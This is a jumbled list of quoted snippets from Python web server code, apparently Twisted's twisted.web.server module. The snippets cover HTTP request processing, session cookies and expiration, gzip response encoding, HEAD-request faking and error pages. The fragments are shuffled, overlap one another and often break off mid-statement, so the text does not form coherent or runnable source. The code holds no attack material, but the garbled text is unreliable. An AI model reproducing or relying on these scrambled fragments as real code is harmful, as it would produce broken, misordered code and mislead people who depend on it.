"self.content.read() x[\"remote\"] = ViewPoint(issuer, self) # Address objects aren't jellyable", "message body. I think I'll eat it.\", slf=self, resrc=resrc, )", "and (contentLength[0] == b\"0\") if ( needsCT and contentType is", "IProtocolNegotiationFactory def acceptableProtocols(self): \"\"\" Protocols this server can speak. \"\"\"", "previously generated session. @param uid: Unique ID of the session.", "disconnected sites. request.sitepath = copy.copy(request.prepath) return resource.getChildForRequest(self.resource, request) # IProtocolNegotiationFactory", "self._log.info( \"Warning: HEAD request {slf} for resource {resrc} is\" \"", "out. \"\"\" self.expireCallbacks.append(callback) def expire(self): \"\"\" Expire/logout of the session.", "a session cookie, and if not, create it. By default,", "= self return channel isLeaf = 0 def render(self, request):", "\"\"\"Remote version of write; same interface.\"\"\" self.write(data) def view_finish(self, issuer):", "return that object. (This will always be the session that", "for a request. This iterates through the resource hierarchy, calling", "deprecatedModuleAttribute( Version(\"Twisted\", 12, 1, 0), \"Please use twisted.web.http.datetimeToString instead\", \"twisted.web.server\",", "code, message=None): \"\"\" Remote version of setResponseCode; same interface. \"\"\"", "multiple times. It will only actually change the responseHeaders #", "user's session with a system. This utility class contains no", "which resets expiration timer. \"\"\" self.lastModified = self._reactor.seconds() if self._expireCall", "hierarchy, calling getChildWithDefault on each resource it finds for a", "session will expire, in seconds. @type sessionTimeout: L{float} @ivar lastModified:", "= site self.uid = uid self.expireCallbacks = [] self.touch() self.sessionNamespaces", "session IDs to objects returned by C{sessionFactory}. @type sessions: L{dict}", "says we MUST set content-length 0 when responding to this", "self.isSecure(): return self._secureSession else: return self._insecureSession def getSession(self, sessionInterface=None, forceNotSecure=False):", "acceptHeaders = b\",\".join( request.requestHeaders.getRawHeaders(b\"accept-encoding\", []) ) if self._gzipCheckRegex.search(acceptHeaders): encoding =", "port == default: hostport = \"\" else: hostport = \":%d\"", "L{None} \"\"\" if self.isSecure(): return self._secureSession else: return self._insecureSession def", "re from html import escape from typing import List, Optional", "defaultContentType: A L{bytes} giving the default I{Content-Type} value to send", "_secureSession = None _insecureSession = None @property def session(self): \"\"\"", "re.compile(br\"(:?^|[\\s,])gzip(:?$|[\\s,])\") compressLevel = 9 def encoderForRequest(self, request): \"\"\" Check the", "encoder = resrc.getEncoder(self) if encoder is not None: self._encoder =", "\"\"\" uid = self._mkuid() session = self.sessions[uid] = self.sessionFactory(self, uid)", "objects aren't jellyable x[\"host\"] = _addressToTuple(x[\"host\"]) x[\"client\"] = _addressToTuple(x[\"client\"]) #", "doing that, # startedWriting will never be true, and the", "_reactor: An object providing L{IReactorTime} to use for scheduling expiration.", "= None def __init__(self, compressLevel, request): self._zlibCompressor = zlib.compressobj( compressLevel,", "s) body = epage.render(self) else: epage = resource.ErrorPage( http.NOT_IMPLEMENTED, \"Huh?\",", "try: body = resrc.render(self) except UnsupportedMethod as e: allowedMethods =", "encoding: encoding = b\",\".join(encoding + [b\"gzip\"]) else: encoding = b\"gzip\"", "Initialize a session with a unique ID for that session.", "version = networkString(f\"TwistedWeb/{copyright.version}\") @implementer(interfaces.IProtocolNegotiationFactory) class Site(http.HTTPFactory): \"\"\" A web site:", "resets expiration timer. \"\"\" self.lastModified = self._reactor.seconds() if self._expireCall is", "UNIX timestamp as returned by L{IReactorTime.seconds()}. @type lastModified: L{float} \"\"\"", "= resource.ErrorPage( http.INTERNAL_SERVER_ERROR, \"Request did not return bytes\", \"Request: \"", "if the client accepts gzip encoding, and encodes the request", "del x[\"content\"] del x[\"site\"] self.content.seek(0, 0) x[\"content_data\"] = self.content.read() x[\"remote\"]", "resource.ErrorPage( http.NOT_IMPLEMENTED, \"Huh?\", \"I don't know how to treat a", "\"\"\" sessionTimeout = 900 _expireCall = None def __init__(self, site,", "send as a low-effort way to probe server capabilities or", "functionality, but is used to represent a session. @ivar site:", "\"\"\" if not self.startedWriting: # Before doing the first write,", "we MUST set content-length 0 when responding to this #", "and store it for future reference. \"\"\" uid = self._mkuid()", "has already been created or looked up with L{Request.getSession}, this", "L{IReactorTime} used to schedule expiration of the session. If C{None},", "out the request method. Note, if we are doing that,", "the session, to keep it alive. session.touch() except (AlreadyCalled, AlreadyCancelled):", "manage log, sessions, and resources. @ivar requestFactory: A factory which", "return try: resrc = self.site.getResourceFor(self) if resource._IEncodingResource.providedBy(resrc): encoder = resrc.getEncoder(self)", "HTTP channel got length of content in this request. This", "Note, if we are doing that, # startedWriting will never", "a Content-Length header set to 0, as empty bodies don't", "@ivar requestFactory: A factory which is called with (channel) and", "site: The L{Site} that generated the session. @type site: L{Site}", "not in (http.NOT_MODIFIED, http.NO_CONTENT) contentType = self.responseHeaders.getRawHeaders(b\"content-type\") contentLength = self.responseHeaders.getRawHeaders(b\"content-length\")", "if isinstance(addr, address.IPv4Address): return (\"INET\", addr.host, addr.port) elif isinstance(addr, address.UNIXAddress):", "session. If C{None}, the reactor associated with I{site} is used.", "% (escape(self.method.decode(\"charmap\")),), ) body = epage.render(self) # end except UnsupportedMethod", "and encodes the request if so. \"\"\" acceptHeaders = b\",\".join(", "= self.__dict__.copy() del x[\"transport\"] # XXX refactor this attribute out;", "b\"_\".join([cookieString] + self.sitepath) sessionCookie = self.getCookie(cookiename) if sessionCookie: try: session", "can send as a low-effort way to probe server capabilities", "unique identifier for the session. @type uid: L{bytes} @ivar _reactor:", "to use for scheduling expiration. @ivar sessionTimeout: Time after last", "in this request's L{Site}, and call L{self.render()<Request.render()>} with it. @see:", "self.responseHeaders.getRawHeaders(b\"content-length\") contentLengthZero = contentLength and (contentLength[0] == b\"0\") if (", ") path = b\"/\".join([quote(segment, safe=b\"\") for segment in prepath]) return", "for HTTPS requests and not secure for HTTP requests. If", "path element, stopping when it hits an element where isLeaf", "is not None: # We have a previously created session.", "lpp == 1: return name else: # lpp == 0", "from the zlib buffer. \"\"\" remain = self._zlibCompressor.flush() self._zlibCompressor =", "not generating a HEAD response by # faking out the", "# not the body. self._log.info( \"Using GET to fake a", "session was created yet for this request. cookiename = b\"_\".join([cookieString]", "from twisted.web.http import unquote from twisted.python import reflect, failure, components", "of the session. If C{None}, the reactor associated with I{site}", "resrc=resrc ) self.method = b\"GET\" self._inFakeHead = True body =", "Finish this request with an indication that processing failed and", "speak. \"\"\" baseProtocols = [b\"http/1.1\"] if http.H2_ENABLED: baseProtocols.insert(0, b\"h2\") return", "self._secureSession else: return self._insecureSession def getSession(self, sessionInterface=None, forceNotSecure=False): \"\"\" Check", "http.Request, components.Componentized): \"\"\" An HTTP request. @ivar defaultContentType: A L{bytes}", "\"it got away from me.\", resrc=resrc, ) # Oh well,", "else: return self._insecureSession def getSession(self, sessionInterface=None, forceNotSecure=False): \"\"\" Check if", "empty bodies don't need # a content-type. needsCT = self.code", "request headers do not indicate a length. \"\"\" try: getContentFile", "HEAD request for {resrc}, but \" \"it got away from", "response. @type data: L{bytes} \"\"\" if not self.startedWriting: # Before", "Get a previously-remembered URL. @return: An absolute URL. @rtype: L{bytes}", "default = 443 else: default = 80 if port ==", "urllib.parse import quote as _quote import zlib from binascii import", "= site.reactor self._reactor = reactor self.site = site self.uid =", "= self._mkuid() session = self.sessions[uid] = self.sessionFactory(self, uid) session.startCheckingExpiration() return", "self.setResponseCode(http.INTERNAL_SERVER_ERROR) self.setHeader(b\"content-type\", b\"text/html\") self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self.write(body) self.finish() return", "\"\"\" acceptHeaders = b\",\".join( request.requestHeaders.getRawHeaders(b\"accept-encoding\", []) ) if self._gzipCheckRegex.search(acceptHeaders): encoding", "flushing any data from the zlib buffer. \"\"\" remain =", "sites. request.sitepath = copy.copy(request.prepath) return resource.getChildForRequest(self.resource, request) # IProtocolNegotiationFactory def", "def getSession(self, uid): \"\"\" Get a previously generated session. @param", "when it hits an element where isLeaf is true. \"\"\"", "request. This iterates through the resource hierarchy, calling getChildWithDefault on", "Optional[List[bytes]] = None __pychecker__ = \"unusednames=issuer\" _inFakeHead = False _encoder", "used on a secure request, this will not return that", "even if this L{Request} was delivered over HTTPS? @type forceNotSecure:", "# Make sure we aren't creating a secure session on", "session = getattr(self, sessionAttribute) if session is not None: #", "+ b\"/\") request.finish() def getChildWithDefault(self, pathEl, request): \"\"\" Emulate a", "used to determine cookie names between distributed # servers and", "return _quote(string.decode(\"charmap\"), *args, **kwargs).encode(\"charmap\") def _addressToTuple(addr): if isinstance(addr, address.IPv4Address): return", "if not self._request.startedWriting: # Remove the content-length header, we can't", "tuple(addr) @implementer(iweb.IRequest) class Request(Copyable, http.Request, components.Componentized): \"\"\" An HTTP request.", "string_date_time = http.stringToDatetime # Support for other methods may be", "self.write(body) self.finish() return reason def view_write(self, issuer, data): \"\"\"Remote version", "Remote version of setResponseCode; same interface. \"\"\" self.setResponseCode(code, message) def", "generated. @type counter: L{int} @ivar sessionCheckTime: Deprecated and unused. See", "if self.method in (supportedMethods): # We MUST include an Allow", "Bad Thing (RFC 2616, 9.4) self._log.info( \"Warning: HEAD request {slf}", "copy.copy(request.prepath) return resource.getChildForRequest(self.resource, request) # IProtocolNegotiationFactory def acceptableProtocols(self): \"\"\" Protocols", "return self.appRootURL def _handleStar(self): \"\"\" Handle receiving a request whose", "# multiple times. It will only actually change the responseHeaders", "= request def encode(self, data): \"\"\" Write to the request,", "+ util.formatFailure(reason) + b\"\\n\\n</body></html>\\n\" ) else: body = ( b\"<html><head><title>Processing", "the default I{Content-Type} value to send in responses if no", "= \"\" else: hostport = \":%d\" % port prefix =", "import UnsupportedMethod from incremental import Version from twisted.python.deprecate import deprecatedModuleAttribute", "try: # Refresh the session, to keep it alive. session.touch()", "resrc.getEncoder(self) if encoder is not None: self._encoder = encoder self.render(resrc)", "startCheckingExpiration(self): \"\"\" Start expiration tracking. @return: L{None} \"\"\" self._expireCall =", "self._request.startedWriting: # Remove the content-length header, we can't honor it", "the currently-processed part of the URL for later recalling. \"\"\"", "OK. Any non-OPTIONS verb gets a 405 Method Not Allowed", "Generate a new Session instance, and store it for future", "= ViewPoint(issuer, self) # Address objects aren't jellyable x[\"host\"] =", "callback): \"\"\" Call this callback when the session expires or", "_RemoteProducerWrapper: def __init__(self, remote): self.resumeProducing = remote.remoteMethod(\"resumeProducing\") self.pauseProducing = remote.remoteMethod(\"pauseProducing\")", "to the transport (if not responding to a HEAD request).", "path = b\"/\".join([quote(segment, safe=b\"\") for segment in prepath]) return prefix", "= self.content.read() x[\"remote\"] = ViewPoint(issuer, self) # Address objects aren't", "to treat a %s request.\" % (escape(self.method.decode(\"charmap\")),), ) body =", "= resrc.getEncoder(self) if encoder is not None: self._encoder = encoder", "10.4.6 and 14.7) self.setHeader(b\"Allow\", b\", \".join(allowedMethods)) s = ( \"\"\"Your", "uid) session.startCheckingExpiration() return session def getSession(self, uid): \"\"\" Get a", "\"Please use twisted.web.http.stringToDatetime instead\", \"twisted.web.server\", \"string_date_time\", ) date_time_string = http.datetimeToString", "= self.responseHeaders.getRawHeaders(b\"content-type\") contentLength = self.responseHeaders.getRawHeaders(b\"content-length\") contentLengthZero = contentLength and (contentLength[0]", "receiving a request whose path is '*'. RFC 7231 defines", "iweb, http, util from twisted.web.http import unquote from twisted.python import", "1) and \"s\") or \"\", \"allowed\": \", \".join([nativeString(x) for x", "over HTTPS. \"\"\" defaultContentType = b\"text/html\" site = None appRootURL", "def getResourceFor(self, request): \"\"\" Get a resource for a request.", "allowedMethods): # We must support HEAD (RFC 2616, 5.1.1). If", "request for {resrc}, but \" \"it got away from me.\",", "**kwargs) def view_setHeader(self, issuer, k, v): \"\"\"Remote version of setHeader;", "if this L{Request} was delivered over HTTPS? @type forceNotSecure: L{bool}", "request body, as indicated by the request headers. L{None} if", "session has already been created or looked up with L{Request.getSession},", "@ivar _request: A reference to the originating request. @since: 12.3", "me (at %(URI)s) with\"\"\" \"\"\" the method \"%(method)s\". I only", "address.UNIXAddress): return (\"UNIX\", addr.name) else: return tuple(addr) @implementer(iweb.IRequest) class Request(Copyable,", "= self.counter + 1 return hexlify(self._entropy(32)) def makeSession(self): \"\"\" Generate", "sessions, and resources. @ivar requestFactory: A factory which is called", "\"\"\" # get site from channel self.site = self.channel.site #", "not None and not contentLengthZero ): self.responseHeaders.setRawHeaders( b\"content-type\", [self.defaultContentType] )", "sessionFactory: factory for sessions objects. Default to L{Session}. @ivar sessions:", "self._prePathURL(self.prepath[:-1]) self.appRootURL = url def getRootURL(self): \"\"\" Get a previously-remembered", "= False sessionFactory = Session sessionCheckTime = 1800 _entropy =", "data): \"\"\" Write data to the transport (if not responding", "requestFactory. @type requestFactory: C{callable} or C{class}. @see: L{twisted.web.http.HTTPFactory.__init__} \"\"\" super().__init__(*args,", "to keep it alive. session.touch() except (AlreadyCalled, AlreadyCancelled): # Session", "resrc = self.site.getResourceFor(self) if resource._IEncodingResource.providedBy(resrc): encoder = resrc.getEncoder(self) if encoder", "util.formatFailure(reason) + b\"\\n\\n</body></html>\\n\" ) else: body = ( b\"<html><head><title>Processing Failed\"", "\"_secureSession\" session = getattr(self, sessionAttribute) if session is not None:", "None @property def session(self): \"\"\" If a session has already", "not return that session.) @return: the session attribute @rtype: L{Session}", "def rememberRootURL(self): \"\"\" Remember the currently-processed part of the URL", "12, 1, 0), \"Please use twisted.web.http.stringToDatetime instead\", \"twisted.web.server\", \"string_date_time\", )", "http.Request.gotLength(self, length) else: self.content = getContentFile(length) def process(self): \"\"\" Process", "@implementer(iweb.IRequest) class Request(Copyable, http.Request, components.Componentized): \"\"\" An HTTP request. @ivar", "the security of the request; so if C{forceNotSecure} is used", "Write data to the transport (if not responding to a", "no body. self.setHeader(b\"Content-Length\", b\"0\") self.finish() @implementer(iweb._IRequestEncoderFactory) class GzipEncoderFactory: \"\"\" @cvar", "ID for a user's session. \"\"\" self.counter = self.counter +", "only allow\"\"\" \"\"\" the method%(plural)s %(allowed)s here.\"\"\" % { \"URI\":", "site.reactor self._reactor = reactor self.site = site self.uid = uid", "zlib buffer. \"\"\" remain = self._zlibCompressor.flush() self._zlibCompressor = None return", "self.isSecure(): default = 443 else: default = 80 if port", "resource hierarchy, calling getChildWithDefault on each resource it finds for", "Opaque; do not depend on any particular type for this", "aren't creating a secure session on a non-secure page secure", "uid): \"\"\" Get a previously generated session. @param uid: Unique", "body = resrc.render(self) if body is NOT_DONE_YET: self._log.info( \"Tried to", "cookie, and if not, create it. By default, the cookie", "to L{Session}. @ivar sessions: Mapping of session IDs to objects", "from a secure request you can set C{forceNotSecure = True}.", "whose path is '*'. RFC 7231 defines an OPTIONS *", "and possibly display a traceback. @param reason: Reason this request", "if it still hasn't been set, fix it up. if", "compressLevel, request): self._zlibCompressor = zlib.compressobj( compressLevel, zlib.DEFLATED, 16 + zlib.MAX_WBITS", "I think I'll eat it.\", slf=self, resrc=resrc, ) self.setHeader(b\"content-length\", b\"%d\"", "you need access to the insecure cookie from a secure", "@return: The reason passed to this method. @rtype: L{twisted.python.failure.Failure} \"\"\"", "binascii import hexlify from zope.interface import implementer from twisted.python.compat import", "None if session is None: # No session was created", "the compressor, default to 9 (highest). @since: 12.3 \"\"\" _gzipCheckRegex", "of session IDs to objects returned by C{sessionFactory}. @type sessions:", "users. @param length: The length of the request body, as", "twisted.web.test.test_web -*- # Copyright (c) Twisted Matrix Laboratories. # See", "instances. Default to L{Request}. @ivar displayTracebacks: If set, unhandled exceptions", "# lpp == 0 if len(self.prepath) and self.prepath[-1]: return self.prepath[-1]", "will be transmitted only over HTTPS. \"\"\" defaultContentType = b\"text/html\"", "Not Allowed telling the client they can only use OPTIONS.", "version of addCookie; same interface.\"\"\" self.addCookie(k, v, **kwargs) def view_setHeader(self,", "to send in responses if no other value is set.", "and creates L{Request} instances. Default to L{Request}. @ivar displayTracebacks: If", "Remove the content-length header, we can't honor it # because", "[b\"gzip\"]) else: encoding = b\"gzip\" request.responseHeaders.setRawHeaders(b\"content-encoding\", [encoding]) return _GzipEncoder(self.compressLevel, request)", "isLeaf is true. \"\"\" request.site = self # Sitepath is", "def prePathURL(self): return self._prePathURL(self.prepath) def URLPath(self): from twisted.python import urlpath", "the above logic may run # multiple times. It will", "def getStateToCopyFor(self, issuer): x = self.__dict__.copy() del x[\"transport\"] # XXX", "(AlreadyCalled, AlreadyCancelled): # Session has already expired. session = None", "still hasn't been set, fix it up. if not session:", "the headers if the client accepts gzip encoding, and encodes", "links to a sibling of the requested resource. @param name:", "get site from channel self.site = self.channel.site # set various", "user with this, we simply fast-path it back to an", "\"\"\" Protocols this server can speak. \"\"\" baseProtocols = [b\"http/1.1\"]", "and C{.finish} to complete the request, and that the HTTP", "reason): \"\"\" Finish this request with an indication that processing", "def view_setHeader(self, issuer, k, v): \"\"\"Remote version of setHeader; same", "session.uid, path=b\"/\", secure=secure) setattr(self, sessionAttribute, session) if sessionInterface: return session.getComponent(sessionInterface)", "class contains no functionality, but is used to represent a", "for segment in prepath]) return prefix + path def prePathURL(self):", "= encoder self.render(resrc) except BaseException: self.processingFailed(failure.Failure()) def write(self, data): \"\"\"", "as being something that a client can send as a", "verb gets a 405 Method Not Allowed telling the client", "any particular type for this value. \"\"\" import copy import", "isLeaf = 0 def render(self, request): \"\"\" Redirect because a", "self._encoder = encoder self.render(resrc) except BaseException: self.processingFailed(failure.Failure()) def write(self, data):", "Find the addressed resource in this request's L{Site}, and call", "path def prePathURL(self): return self._prePathURL(self.prepath) def URLPath(self): from twisted.python import", "class Request(Copyable, http.Request, components.Componentized): \"\"\" An HTTP request. @ivar defaultContentType:", "support HEAD (RFC 2616, 5.1.1). If the # resource doesn't,", "if session is not None: # We have a previously", "% (len(body),)) self.write(body) self.finish() def processingFailed(self, reason): \"\"\" Finish this", "L{float} \"\"\" sessionTimeout = 900 _expireCall = None def __init__(self,", "the request; so if C{forceNotSecure} is used on a secure", "if self.isSecure(): default = 443 else: default = 80 if", "9 def encoderForRequest(self, request): \"\"\" Check the headers if the", "body. self.setHeader(b\"Content-Length\", b\"0\") self.finish() @implementer(iweb._IRequestEncoderFactory) class GzipEncoderFactory: \"\"\" @cvar compressLevel:", "channel self.site = self.channel.site # set various default headers self.setHeader(b\"server\",", "how to treat a %s request.\" % (escape(self.method.decode(\"charmap\")),), ) body", "if there is a session cookie, and if not, create", "components from twisted import copyright from twisted.web import resource from", "prepath): port = self.getHost().port if self.isSecure(): default = 443 else:", "session(self): \"\"\" If a session has already been created or", "len(body) > 0: # This is a Bad Thing (RFC", "v, **kwargs): \"\"\"Remote version of addCookie; same interface.\"\"\" self.addCookie(k, v,", "did not return bytes\", \"Request: \" + util._PRE(reflect.safe_repr(self)) + \"<br", "s = ( \"\"\"Your browser approached me (at %(URI)s) with\"\"\"", "representing the state that will be transmitted only over HTTPS.", "A L{bytes} giving the default I{Content-Type} value to send in", "for a path element, stopping when it hits an element", "approached me (at %(URI)s) with\"\"\" \"\"\" the method \"%(method)s\". I", "guess we won't include the content length. else: self.setHeader(b\"content-length\", b\"%d\"", "self.processingFailed(failure.Failure()) def write(self, data): \"\"\" Write data to the transport", "HEAD request). @param data: A string to write to the", "modified, which resets expiration timer. \"\"\" self.lastModified = self._reactor.seconds() if", "sessions: Mapping of session IDs to objects returned by C{sessionFactory}.", "session. @type uid: L{bytes}. @raise KeyError: If the session is", "compressing data on the fly. \"\"\" if not self._request.startedWriting: #", "is a web server which integrates with the twisted.internet infrastructure.", "created or looked up with L{Request.getSession}, this will return that", "sure we aren't creating a secure session on a non-secure", "content-length header, we can't honor it # because we compress", "an indication that processing failed and possibly display a traceback.", "schedule expiration of the session. If C{None}, the reactor associated", "the default C{sessionFactory} @ivar counter: The number of sessions that", "b\",\".join(encoding + [b\"gzip\"]) else: encoding = b\"gzip\" request.responseHeaders.setRawHeaders(b\"content-encoding\", [encoding]) return", "through the resource hierarchy, calling getChildWithDefault on each resource it", "reactor: L{IReactorTime} used to schedule expiration of the session. If", "it.\", slf=self, resrc=resrc, ) self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self.write(b\"\") else:", "previously created session. try: # Refresh the session, to keep", "absolute URL. @rtype: L{bytes} \"\"\" return self.appRootURL def _handleStar(self): \"\"\"", "view_unregisterProducer(self, issuer): self.unregisterProducer() ### these calls remain local _secureSession =", "in allowedMethods]), } ) epage = resource.ErrorPage(http.NOT_ALLOWED, \"Method Not Allowed\",", "epage.render(self) else: epage = resource.ErrorPage( http.NOT_IMPLEMENTED, \"Huh?\", \"I don't know", "16 + zlib.MAX_WBITS ) self._request = request def encode(self, data):", "def _mkuid(self): \"\"\" (internal) Generate an opaque, unique ID for", "to a child of the requested resource. @param name: The", "recent call last):</b>\\n\\n\" + util.formatFailure(reason) + b\"\\n\\n</body></html>\\n\" ) else: body", "of setLastModified; same interface.\"\"\" self.setLastModified(when) def view_setETag(self, issuer, tag): \"\"\"Remote", "is set. L{None} disables the default. @ivar _insecureSession: The L{Session}", "False self.method = b\"HEAD\" self.write(b\"\") self.finish() return if self.method in", "@see: L{IResource.render()<twisted.web.resource.IResource.render()>} \"\"\" try: body = resrc.render(self) except UnsupportedMethod as", "\"Resource: \" + util._PRE(reflect.safe_repr(resrc)) + \"<br />\" + \"Value: \"", "L{Site} that generated the session. @type site: L{Site} @ivar uid:", "finish(self): \"\"\" Override C{http.Request.finish} for possible encoding. \"\"\" if self._encoder:", "not depend on any particular type for this value. \"\"\"", "import AlreadyCalled, AlreadyCancelled from twisted.web import iweb, http, util from", "the resource hierarchy, calling getChildWithDefault on each resource it finds", "well, I guess we won't include the content length. else:", "for users. @param length: The length of the request body,", "session. \"\"\" self.counter = self.counter + 1 return hexlify(self._entropy(32)) def", "for resource {resrc} is\" \" returning a message body. I", "* b\"../\") + name else: return name def childLink(self, name):", "encodes the request if so. \"\"\" acceptHeaders = b\",\".join( request.requestHeaders.getRawHeaders(b\"accept-encoding\",", "resource.getChildForRequest(self.resource, request) # IProtocolNegotiationFactory def acceptableProtocols(self): \"\"\" Protocols this server", "'*'. if self.path == b\"*\": self._handleStar() return try: resrc =", ").render(self) if self.method == b\"HEAD\": if len(body) > 0: #", "site, uid, reactor=None): \"\"\" Initialize a session with a unique", "# No session was created yet for this request. cookiename", "HTTP. @ivar _secureSession: The L{Session} object representing the state that", "\"\"\" channel = super().buildProtocol(addr) channel.requestFactory = self.requestFactory channel.site = self", "A relative URL. @rtype: C{bytes} \"\"\" lpp = len(self.postpath) if", "self.site.displayTracebacks: body = ( b\"<html><head><title>web.Server Traceback\" b\" (most recent call", "that a client can send as a low-effort way to", "**kwargs): return _quote(string.decode(\"charmap\"), *args, **kwargs).encode(\"charmap\") def _addressToTuple(addr): if isinstance(addr, address.IPv4Address):", "return channel isLeaf = 0 def render(self, request): \"\"\" Redirect", "\"allowed\": \", \".join([nativeString(x) for x in allowedMethods]), } ) epage", "http.datetimeToString string_date_time = http.stringToDatetime # Support for other methods may", ") body = epage.render(self) # end except UnsupportedMethod if body", "request traversal for requests received by this factory will begin", "twisted.python import urlpath return urlpath.URLPath.fromRequest(self) def rememberRootURL(self): \"\"\" Remember the", "representing state that will be transmitted over plain-text HTTP. @ivar", "@type uid: L{bytes} @ivar _reactor: An object providing L{IReactorTime} to", "instance, and store it for future reference. \"\"\" uid =", "0 def render(self, request): \"\"\" Redirect because a Site is", "sessionCookie = self.getCookie(cookiename) if sessionCookie: try: session = self.site.getSession(sessionCookie) except", "URL. @rtype: L{bytes} \"\"\" return self.appRootURL def _handleStar(self): \"\"\" Handle", "= False self.method = b\"HEAD\" self.write(b\"\") self.finish() return if self.method", "@return: L{None} \"\"\" self._expireCall = self._reactor.callLater(self.sessionTimeout, self.expire) def notifyOnExpire(self, callback):", "of the resource hierarchy. All request traversal for requests received", "HTTPS? @type forceNotSecure: L{bool} \"\"\" # Make sure we aren't", "timer. \"\"\" self.lastModified = self._reactor.seconds() if self._expireCall is not None:", "\"Tried to fake a HEAD request for {resrc}, but \"", "getResourceFor(self, request): \"\"\" Get a resource for a request. This", "This is a Bad Thing (RFC 2616, 9.4) self._log.info( \"Warning:", "only over HTTPS. \"\"\" defaultContentType = b\"text/html\" site = None", "header should be supplied. We omit it on # NOT_MODIFIED", "as _quote import zlib from binascii import hexlify from zope.interface", "creates L{Request} instances. Default to L{Request}. @ivar displayTracebacks: If set,", "2616, 5.1.1). If the # resource doesn't, fake it by", "session = self.sessions[uid] = self.sessionFactory(self, uid) session.startCheckingExpiration() return session def", "b\"/\".join([quote(segment, safe=b\"\") for segment in prepath]) return prefix + path", "**kw): http.Request.__init__(self, *args, **kw) components.Componentized.__init__(self) def getStateToCopyFor(self, issuer): x =", "import zlib from binascii import hexlify from zope.interface import implementer", "the C{touch()} method was last called (or time the session", "for {resrc}\", resrc=resrc ) self.method = b\"GET\" self._inFakeHead = True", "[] self.postpath = list(map(unquote, self.path[1:].split(b\"/\"))) # Short-circuit for requests whose", "call last)</title></head>\" b\"<body><b>web.Server Traceback\" b\" (most recent call last):</b>\\n\\n\" +", "\"\", \"allowed\": \", \".join([nativeString(x) for x in allowedMethods]), } )", "0), \"Please use twisted.web.http.stringToDatetime instead\", \"twisted.web.server\", \"string_date_time\", ) date_time_string =", "this request's L{Site}, and call L{self.render()<Request.render()>} with it. @see: L{Site.getResourceFor()}", "responding to this # with no body. self.setHeader(b\"Content-Length\", b\"0\") self.finish()", "self.prepath[-1] + b\"/\" + name else: return name def gotLength(self,", "render. @type resrc: L{twisted.web.resource.IResource} @see: L{IResource.render()<twisted.web.resource.IResource.render()>} \"\"\" try: body =", "\"\"\" the method \"%(method)s\". I only allow\"\"\" \"\"\" the method%(plural)s", "low-effort way to probe server capabilities or readiness. Rather than", "encoder self.render(resrc) except BaseException: self.processingFailed(failure.Failure()) def write(self, data): \"\"\" Write", "a 'GET' request and then return only the headers, #", "= self.getHost().port if self.isSecure(): default = 443 else: default =", "the reactor associated with I{site} is used. \"\"\" super().__init__() if", "contentLengthZero ): self.responseHeaders.setRawHeaders( b\"content-type\", [self.defaultContentType] ) # Only let the", "will expire, in seconds. @type sessionTimeout: L{float} @ivar lastModified: Time", "= _addressToTuple(x[\"client\"]) # Header objects also aren't jellyable. x[\"requestHeaders\"] =", "stopping when it hits an element where isLeaf is true.", "retrieve a session that will be transmitted over HTTP, even", "processingFailed(self, reason): \"\"\" Finish this request with an indication that", "None return remain class _RemoteProducerWrapper: def __init__(self, remote): self.resumeProducing =", "= resource.ErrorPage(http.NOT_ALLOWED, \"Method Not Allowed\", s) body = epage.render(self) else:", "handling the request request, flushing any data from the zlib", "used to represent a session. @ivar site: The L{Site} that", "reactor is None: reactor = site.reactor self._reactor = reactor self.site", "( needsCT and contentType is None and self.defaultContentType is not", "by L{IReactorTime.seconds()}. @type lastModified: L{float} \"\"\" sessionTimeout = 900 _expireCall", "from twisted.python import reflect, failure, components from twisted import copyright", "os.urandom def __init__(self, resource, requestFactory=None, *args, **kwargs): \"\"\" @param resource:", "requested method, generate a C{NOT IMPLEMENTED} or C{NOT ALLOWED} response.", "import logfile return logfile.LogFile(os.path.basename(path), os.path.dirname(path)) def __getstate__(self): d = self.__dict__.copy()", "x[\"content\"] del x[\"site\"] self.content.seek(0, 0) x[\"content_data\"] = self.content.read() x[\"remote\"] =", "been generated. @type counter: L{int} @ivar sessionCheckTime: Deprecated and unused.", "self.write(body) self.finish() def processingFailed(self, reason): \"\"\" Finish this request with", "URL. @rtype: C{bytes} \"\"\" lpp = len(self.postpath) if lpp >", "sessionCheckTime: Deprecated and unused. See L{Session.sessionTimeout} instead. \"\"\" counter =", "request.finish() def getChildWithDefault(self, pathEl, request): \"\"\" Emulate a resource's getChild", "HTTPS. \"\"\" defaultContentType = b\"text/html\" site = None appRootURL =", "is always a directory. \"\"\" request.redirect(request.prePathURL() + b\"/\") request.finish() def", "sessions objects. Default to L{Session}. @ivar sessions: Mapping of session", "message=None): \"\"\" Remote version of setResponseCode; same interface. \"\"\" self.setResponseCode(code,", "is called with (channel) and creates L{Request} instances. Default to", "C{.finish} to complete the request, and that the HTTP connection", "= \":%d\" % port prefix = networkString( \"http%s://%s%s/\" % (", "default # Content-Type header should be supplied. We omit it", "for a user's session. \"\"\" self.counter = self.counter + 1", "I{site} is used. \"\"\" super().__init__() if reactor is None: reactor", "def __init__(self, site, uid, reactor=None): \"\"\" Initialize a session with", "particular type for this value. \"\"\" import copy import os", "epage = resource.ErrorPage( http.NOT_IMPLEMENTED, \"Huh?\", \"I don't know how to", "set, fix it up. if not session: session = self.site.makeSession()", "back to an empty 200 OK. Any non-OPTIONS verb gets", "notifyOnExpire(self, callback): \"\"\" Call this callback when the session expires", "Ask a resource to render itself. If the resource does", "@type data: L{bytes} \"\"\" if not self.startedWriting: # Before doing", "prePathURL(self): return self._prePathURL(self.prepath) def URLPath(self): from twisted.python import urlpath return", "networkString( \"http%s://%s%s/\" % ( self.isSecure() and \"s\" or \"\", nativeString(self.getRequestHostname()),", "from me.\", resrc=resrc, ) # Oh well, I guess we", "transmitted over HTTP, even if this L{Request} was delivered over", "Traceback\" b\" (most recent call last)</title></head>\" b\"<body><b>web.Server Traceback\" b\" (most", "del x[\"transport\"] # XXX refactor this attribute out; it's from", "be secure for HTTPS requests and not secure for HTTP", "= uid self.expireCallbacks = [] self.touch() self.sessionNamespaces = {} def", "NOT_DONE_YET: Opaque; do not depend on any particular type for", "once though, so it's still okay. if not self._inFakeHead: if" ]
